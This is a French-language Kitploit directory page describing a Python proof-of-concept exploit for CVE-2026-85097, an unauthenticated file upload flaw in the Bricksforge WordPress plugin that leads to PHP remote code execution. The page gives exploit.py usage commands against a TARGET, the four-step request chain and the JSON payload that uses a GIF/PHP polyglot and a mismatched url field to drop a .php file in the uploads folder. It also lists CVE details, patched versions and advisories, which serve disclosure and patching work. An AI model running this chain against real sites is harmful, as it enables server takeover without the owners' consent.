Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-85097 — PoC Python exploitant CVE-2026-85097, une vulnérabilité de téléversement de fichier non authentifié dans Bricksforge <= 3.1.8.9, utilisant un polyglotte GIF/PHP et une incohérence d'URL pour parvenir à une RCE. | Kitploit
Outils/GitHubGitHub/blackhatexploitation/cve-2026-85097
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHub
blackhatexploitation/cve-2026-85097

CVE-2026-85097

PoC Python exploitant CVE-2026-85097, une vulnérabilité de téléversement de fichier non authentifié dans Bricksforge <= 3.1.8.9, utilisant un polyglotte GIF/PHP et une incohérence d'URL pour parvenir à une RCE.

Voir le dépôt
11il y a 22 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-85097

Téléversement de fichier non authentifié dans Bricksforge <= 3.1.8.9 → RCE PHP.

temporaryFileUploads.url est fourni par le client lors de la soumission du formulaire. Le type MIME est vérifié lors du premier téléversement, puis copy() utilise basename($url) comme nom de destination.

CVECVE-2026-85097
CWECWE-434
CVSS9.8 / 10.0
AffectéBricksforge <= 3.1.8.9
Corrigé3.1.8.10, 4.0.1
Authaucune

Installation

pip3 install requests

Utilisation

python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file

Nécessite un Pro Form actif. Le champ de téléversement est facultatif.

Chaîne d'exploitation

  1. POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_nonce
  2. POST /wp-json/bricksforge/v1/form_file_upload — polyglotte GIF/PHP (MIME valide)
  3. POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .php
  4. GET /wp-content/uploads/YYYY/MM/*.php — corps CVE-2026-85097-OK
{
  "temporaryFileUploads": [
    {
      "field": "form-field-file",
      "file": {
        "file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
        "url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
        "type": "image/gif"
      }
    }
  ]
}

Références

  • https://www.cve.org/CVERecord?id=CVE-2026-85097
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/e993c929-f175-43a7-92e6-9d3b089b8dde
  • https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
  • https://bricksforge.io/version-changelog/
Télécharger l’outil